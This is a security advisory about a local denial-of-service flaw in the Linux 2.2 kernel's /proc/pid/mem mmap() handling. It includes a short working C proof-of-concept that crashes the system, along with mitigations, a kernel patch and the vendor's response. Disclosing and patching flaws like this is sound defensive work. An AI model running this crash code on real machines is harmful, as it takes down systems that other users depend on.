COMMAND

	Linux kernel local DoS via mmap()

SYSTEMS AFFECTED

	Linux kernel 2.2.x /proc/pid/mem mmap()

PROBLEM

	Thanks to  Michal  Zalewski  [mzalewsk@razor.bindview.com]  of  BindView
	[http://razor.bindview.com] advisory :
	
	The /proc/pid/mem interface is designed to enable  one  application  to,
	under certain conditions, access the memory of another application in  a
	convenient  way.  This  feature  is  very  useful  for   developers   or
	administrators who wish to debug or analyze programs  running  on  their
	system. One of ways to access the memory is by  directly  mapping  pages
	using mmap().
	
	A vulnerability is present in the way this process is validated.  It  is
	possible for the user to use  mmap()  interface  to  request  access  to
	memory pages that are non-readable to the  traced  process  itself.  The
	user can pass PROT_READ parameter to this call to  request  read  access
	to this mapping. Because of insufficient validation, he will be  granted
	a map marked as  readable.  From  now  on,  the  user  can  request  his
	instance to be read by the kernel. Doing so will result in crashing  the
	system.
	
	The problem does not affect 2.4 kernels because, as of today, mmap()  on
	/proc/pid/mem is not supported; mmap() interface is no longer  available
	on 2.4 because of implementation reliability concerns.
	
	Proof of concept code:
	
	   #define PAGES 10
	
	   #include <asm/page.h>
	   #include <sys/mman.h>
	   #include <unistd.h>
	   #include <stdio.h>
	   #include <fcntl.h>
	   #include <sys/ptrace.h>
	
	   int main() {
	     int ad1,ad2,zer,mem,pid,i;
	     zer=open("/dev/zero",O_RDONLY);
	     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
	     pid=getpid();
	     if (!fork()) {
	       char p[64];
	       ptrace(PTRACE_ATTACH,pid,0,0);
	       sleep(1);
	       sprintf(p,"/proc/%d/mem",pid);
	       mem=open(p,O_RDONLY);
	       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
	       write(1,(char*)ad2,PAGES*PAGE_SIZE);
	     }
	     sleep(100);
	     return 0;
	   }
	

SOLUTION

	 Mitigating factors:
	 ===================
	
	In order to successfully exploit the vulnerability, the  attacker  would
	need to have the right to execute  code  of  his  choice  on  the  local
	machine.
	
	Restricting ptrace()  or  /proc  access  can  help  mitigate  the  risk.
	Several security-enhancing patches such as Openwall or grsecurity  offer
	solutions to implement such restrictions.
	
	 Workaround / fix:
	 =================
	
	There is no  immediate  fix  available.  Kernel  developers  suggest  to
	disable mmap() functionality on /proc/pid/mem to address the issue.  The
	following patch can be used:
	
	--- linux-2.2/fs/proc/mem.c.old		Sun Mar 25 08:30:58 2001
	+++ linux-2.2/fs/proc/mem.c		Tue Dec 10 14:29:05 2002
	@@ -323,7 +323,7 @@
	        NULL,           /* mem_readdir */
	        NULL,           /* mem_poll */
	        NULL,           /* mem_ioctl */
	-       mem_mmap,       /* mmap */
	+       NULL,           /* mmap */
	        NULL,           /* no special open code */
	        NULL,           /* flush */
	        NULL,           /* no special release code */
	
	Administrators who prefer to patch their systems  without  the  need  to
	recompile and reboot, and do  not  rely  on  having  ptrace()  interface
	available to all users, can  deploy  a  loadable  module  that  disables
	ptrace() for non-privileged accounts instead. One of  such  modules  can
	be obtained at http://www.securiteam.com/tools/5SP082K5GK.html .
	
	Please note that this third-party kernel  module  is  not  authored  nor
	endorsed by RAZOR, and  that  compilation  and  installation  of  kernel
	modules should be performed by experienced users only.
	
	 Vendor Response:
	 ================
	
	Because of implementation reliability issues, Linux  developers  decided
	to drop /proc/pid/mem mmap() functionality in 2.2  kernels.  There  will
	be no fix for the issue that preserves the functionality.
	
	Upcoming 2.2.24  release  will  address  this  and  other  bugs  in  2.2
	kernels.